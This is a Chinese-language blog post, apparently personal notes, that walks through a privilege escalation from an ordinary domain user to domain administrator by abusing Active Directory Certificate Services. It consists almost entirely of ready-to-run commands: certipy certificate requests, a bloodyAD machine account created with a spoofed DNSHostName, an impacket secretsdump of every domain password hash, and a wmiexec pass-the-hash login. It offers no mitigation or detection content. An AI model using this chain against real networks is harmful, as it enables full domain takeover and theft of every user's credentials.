前言
通过含有证书服务的域控服务器,实现Windows域控提权
准备工作
- 目标域控具有
Active Directory 证书服务
- 拥有域用户权限
poc
- 在域用户下执行命令,判断域控服务器是否有证书服务
- 如果出现
选择证书颁发机构弹窗,表示域控服务器具有证书服务
1
| certutil -config - -ping
|
申请低权限证书
下载依赖
1 2 3 4
| python3 -m venv venv source venv/bin/activate pip3 install setuptools pip3 install certipy-ad
|
申请低权限证书
-u <domain>/<username>:指定域普通用户用户名
-p <password>:指定域普通用户密码
-ca <ca_name>-CA:指定上一步骤获取的CA证书办法机构
-target <ip>:指定域控的主机名或IP地址
-dc-ip <ip>:指定域控的IP地址
-dns <ip>:指定DNS服务器的IP地址
1
| certipy req -u <domain>/<username> -p <password> -target <ip> -ca <ca_name>-CA -template User
|
-hashes <hash>:指定域普通用户密码哈希值
1
| certipy req -u <domain>/<username> -hashes <hash> -target <ip> -ca <ca_name>-CA -template User
|
验证证书
<file>.pfx:上一步骤生成的证书文件
1
| certipy auth -pfx <file>.pfx
|
添加计算机账户
下载项目
1 2
| git clone https://github.com/CravateRouge/bloodyAD.git cd bloodyAD
|
下载依赖
1 2 3
| python3 -m venv venv source venv/bin/activate pip3 install -r requirements.txt
|
添加计算机账户并申请低权限证书
-d <domain>:指定域
-u <username>:指定域普通用户用户名
-p <password>:指定域普通用户密码
--host <ip>:指定域控的主机名或IP地址
<machine_name>:定义添加后的计算机账户名
<machine_password>:定义添加后的计算机账户密码
1
| python3 bloodyAD.py -d <domain> -u <username> -p <password> --host <ip> addComputer <machine_name> <machine_password>
|
修改计算机账户属性
- 将
DNSHostName的属性值设置为与域控主机名相同,用于伪造DNS解析
<domain_controller_hostname>:域控服务器的主机名
1
| python3 bloodyAD.py -d <domain> -u <username> -p <password> --host <ip> setAttribute 'CN=<machine_name>,CN=Computers,DC=<domain>,DC=local' DNSHostName '["<domain_controller_hostname>"]'
|
申请高权限证书
-u <domain>/<username>:指定上一步骤创建的计算机账户用户名
-p <password>:指定上一步骤创建的计算机账户密码
-ca <ca_name>-CA:指定上一步骤获取的CA证书办法机构
-target <ip>:指定域控的主机名或IP地址
-dc-ip <ip>:指定域控的IP地址
-dns <ip>:指定DNS服务器的IP地址
1
| certipy req -u <domain>/<username> -p <password> -target <ip> -ca <ca_name>-CA -template Machine
|
验证证书
<file>.pfx:上一步骤生成的证书文件
-dc-ip <domain_ip>:指定域控服务器的IP地址
1
| certipy auth -pfx <file>.pfx
|
远程连接域控
下载项目
1 2
| git clone https://github.com/fortra/impacket.git cd impacket/examples
|
导出域控管理员用户密码哈希值
- 利用上一步骤申请的证书,登录域控服务器,获取所有域用户的密码哈希值
<username>:上一步骤申请证书的用户名
<hash>:上一步骤验证证书时得到的密码哈希值
1
| python3 secretsdump.py <domain>/<username>@<domain_controller> -hashes :<hash>
|
以用户名和哈希值远程登录
<ip>:远程登录的目标主机IP地址,如果远程的是域控则指定域控的IP地址
<hash>:上一步骤获取的密码哈希值
1
| python3 wmiexec.py <domain>/<username>@<ip> -hashes :<hash>
|
完成
参考文献
arttoolkit的博客